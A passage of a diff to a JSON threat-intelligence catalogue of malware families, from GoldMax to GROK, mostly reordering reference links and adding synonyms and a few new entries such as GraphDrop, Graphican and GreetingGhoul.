"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a" ], "synonyms": [ "SUNSHUTTLE" @@ -26373,15 +27579,15 @@ "value": "GoldMax" }, { - "description": "GoldDragon was a second-stage backdoor which established a permanent presence on the victim’s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.\r\n\r\nThe malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server. ", + "description": "GoldDragon was a second-stage backdoor which established a permanent presence on the victim\u2019s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.\r\n\r\nThe malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon", - "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", + "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", "https://www.youtube.com/watch?v=rfzmHjZX70s", "https://asec.ahnlab.com/en/31089/", - "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf" + "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html" ], "synonyms": [ "Lovexxx" @@ -26396,6 +27602,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted", + "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign", "http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html" ], "synonyms": [], @@ -26422,8 +27629,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer", - "https://twitter.com/vxunderground/status/1469713783308357633", - "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April" + "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April", + "https://twitter.com/vxunderground/status/1469713783308357633" ], "synonyms": [], "type": [] @@ -26437,8 +27644,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor", "https://norfolkinfosec.com/a-new-look-at-old-dragonfly-malware-goodor/", - "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", + "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control" ], "synonyms": [ "Fuerboos" @@ -26479,43 +27686,43 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md", - "https://securelist.com/gootkit-the-cautious-trojan/102731/", - "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", - "https://www.certego.net/en/news/malware-tales-gootkit/", - "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", - "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/", - "https://5556002.fs1.hubspotusercontent-na1.net/hubfs/5556002/2022%20PDF%20Download%20Assets/ADA%20Compliant%20pdfs/Reports/PUBLIC_Gootloader%20-%20Foreign%20Intelligence%20Service.pdf", - "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", - "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", - "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", - "https://twitter.com/MsftSecIntel/status/1366542130731094021", - "https://www.trendmicro.com/en_us/research/23/a/gootkit-loader-actively-targets-the-australian-healthcare-indust.html", - "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", "https://www.youtube.com/watch?v=QgUlPvEE4aw", - "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", "https://www.youtube.com/watch?v=242Tn0IL2jE", + "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", + "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055", + "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", + "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", "https://dannyquist.github.io/gootkit-reversing-ghidra/", - "https://news.drweb.com/show/?i=4338&lng=en", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", - "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055", - "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", - "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", - "https://twitter.com/jhencinski/status/1464268732096815105", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", + "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", + "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", + "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://news.drweb.com/show/?i=4338&lng=en", + "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", "https://www.us-cert.gov/ncas/alerts/TA16-336A", + "https://www.certego.net/en/news/malware-tales-gootkit/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/", + "https://securelist.com/gootkit-the-cautious-trojan/102731/", + "https://twitter.com/jhencinski/status/1464268732096815105", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728" + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://5556002.fs1.hubspotusercontent-na1.net/hubfs/5556002/2022%20PDF%20Download%20Assets/ADA%20Compliant%20pdfs/Reports/PUBLIC_Gootloader%20-%20Foreign%20Intelligence%20Service.pdf", + "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.trendmicro.com/en_us/research/23/a/gootkit-loader-actively-targets-the-australian-healthcare-indust.html", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://twitter.com/MsftSecIntel/status/1366542130731094021", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/" ], "synonyms": [ "Waldek", @@ -26532,8 +27739,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe", - "https://github.com/strictlymike/presentations/tree/master/2020/2020.02.08_BSidesHuntsville", - "https://www.proofpoint.com/us/threat-insight/post/dyre-malware-campaigners-innovate-distribution-techniques" + "https://www.proofpoint.com/us/threat-insight/post/dyre-malware-campaigners-innovate-distribution-techniques", + "https://github.com/strictlymike/presentations/tree/master/2020/2020.02.08_BSidesHuntsville" ], "synonyms": [], "type": [] @@ -26586,25 +27793,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi", + "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef", + "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://www.youtube.com/watch?v=BcFbkjUVc7o", + "https://lokalhost.pl/gozi_tree.txt", + "https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072", + "https://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://github.com/mlodic/ursnif_beacon_decryptor", "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", - "https://www.secureworks.com/research/gozi", - "https://lokalhost.pl/gozi_tree.txt", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance", - "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.youtube.com/watch?v=BcFbkjUVc7o", - "https://github.com/mlodic/ursnif_beacon_decryptor", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/", - "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", - "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.secureworks.com/research/gozi", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance" ], "synonyms": [ "CRM", @@ -26623,9 +27832,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode", - "https://de.securelist.com/analysis/59479/erpresser/", - "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2", "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html", + "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2", + "https://de.securelist.com/analysis/59479/erpresser/", "http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/" ], "synonyms": [], @@ -26652,9 +27861,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor", - "http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html" + "http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html", + "https://bin.re/blog/the-dga-of-symmi/" + ], + "synonyms": [ + "MewsSpy" ], - "synonyms": [], "type": [] }, "uuid": "94b942e2-cc29-447b-97e2-e496cbf2aadf", @@ -26665,10 +27877,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf" + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611" ], "synonyms": [ "Small Sieve" @@ -26683,15 +27895,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season", - "https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks", "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals", "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.metabaseq.com/grandoreiro-banking-malware-deciphering-the-dga/", + "https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_study_grandoreiro_analysis_2022_v1.pdf", + "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", "https://blueliv.com/resources/reports/MiniReport-Blueliv-Bancos-ESP-LAT.pdf", - "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/" + "https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [], "type": [] @@ -26712,26 +27926,62 @@ "uuid": "626de4fc-cfa4-4fbc-ab35-4c9ab9fdec14", "value": "GrandSteal" }, + { + "description": "PANW Unit 42 describes this malware as capable of up and downloading files as well as loading additional shellcode payloads into selected target processes. It uses the Microsoft Graph API and Dropbox API as C&C channel.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop", + "https://www.avertium.com/resources/threat-reports/evolution-of-russian-apt29-new-attacks-and-techniques-uncovered", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0727-1.pdf", + "https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/" + ], + "synonyms": [ + "GraphicalProton" + ], + "type": [] + }, + "uuid": "15d96a22-118b-4933-8258-e9cc4dd9719a", + "value": "GraphDrop" + }, { "description": "This loader abuses the benign service Notion for data exchange.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino", - "https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf", "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", - "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine" + "https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d", + "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0727-1.pdf", + "https://mssplab.github.io/threat-hunting/2023/06/02/malware-analysis-apt29.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf" + ], + "synonyms": [ + "SNOWYAMBER" ], - "synonyms": [], "type": [] }, "uuid": "cb92a200-b4f0-4983-8d5d-6bf529b66da9", "value": "GraphicalNeutrino" }, + { + "description": "According to Symantec, Graphican is an evolution of the known APT15 backdoor Ketrican, which itself was based on a previous malware - BS2005 - also used by APT15. Graphican has the same basic functionality as Ketrican, with the difference between them being Graphican\u2019s use of the Microsoft Graph API and OneDrive to obtain its command-and-control (C&C) infrastructure.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/flea-backdoor-microsoft-graph-apt15" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ccaefb44-1cbb-4f91-bd2d-ea5735446d1d", + "value": "Graphican" + }, { "description": "Downloader / information stealer used by UAC-0056, observed since at least October 2022.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphiron", + "https://www.secureworks.com/research/the-growing-threat-from-infostealers", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nodaria-ukraine-infostealer" ], "synonyms": [], @@ -26773,16 +28023,18 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel", "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", + "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://cert.gov.ua/article/38374", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", + "https://www.secureworks.com/research/the-growing-threat-from-infostealers", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://cert.gov.ua/article/38374", + "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", "https://businessinsights.bitdefender.com/deep-dive-into-the-elephant-framework-a-new-cyber-threat-in-ukraine", - "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/" + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel" ], "synonyms": [], "type": [] @@ -26791,20 +28043,20 @@ "value": "GraphSteel" }, { - "description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.", + "description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card\u2019s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system\u2019s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos", - "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-franklin", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", - "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season", + "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/", + "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", - "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html" + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-franklin" ], "synonyms": [ "FrameworkPOS", @@ -26833,10 +28085,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat", - "https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/", - "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html", "https://securelist.com/gravityrat-the-spy-returns/99097/", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/" + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/", + "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" ], "synonyms": [], "type": [] @@ -26849,9 +28101,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grease", - "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf", + "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", - "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf" ], "synonyms": [], "type": [] @@ -26874,20 +28126,33 @@ "uuid": "9d0ddcb9-b0da-436a-af73-d9307609bd17", "value": "GreenShaitan" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.greetingghoul", + "https://securelist.com/doublefinger-loader-delivering-greetingghoul-cryptocurrency-stealer/109982/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b8763a6f-2711-454d-bbde-7408ebe932c1", + "value": "GreetingGhoul" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", - "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", - "https://github.com/NozomiNetworks/greyenergy-unpacker", - "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", - "https://www.eset.com/int/greyenergy-exposed/", "https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/", - "https://attack.mitre.org/groups/G0034" + "https://www.eset.com/int/greyenergy-exposed/", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", + "https://attack.mitre.org/groups/G0034", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://github.com/NozomiNetworks/greyenergy-unpacker", + "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", + "https://www.secureworks.com/research/threat-profiles/iron-viking" ], "synonyms": [], "type": [] @@ -26900,8 +28165,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark", - "https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/", - "https://content.fireeye.com/m-trends/rpt-m-trends-2019" + "https://content.fireeye.com/m-trends/rpt-m-trends-2019", + "https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/" ], "synonyms": [ "Hellsing Backdoor" @@ -26916,9 +28181,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent", - "https://twitter.com/bryceabdo/status/1352359414746009608", "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", + "https://twitter.com/bryceabdo/status/1352359414746009608", "https://blog.group-ib.com/grimagent" ], "synonyms": [], @@ -26933,17 +28198,17 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant", "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", + "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://cert.gov.ua/article/38374", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://cert.gov.ua/article/38374", + "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", "https://businessinsights.bitdefender.com/deep-dive-into-the-elephant-framework-a-new-cyber-threat-in-ukraine", - "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/" + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya" ], "synonyms": [], "type": [] @@ -26964,16 +28229,29 @@ "uuid": "5ba66415-b482-44ff-8dfa-809329e0e074", "value": "GROK" 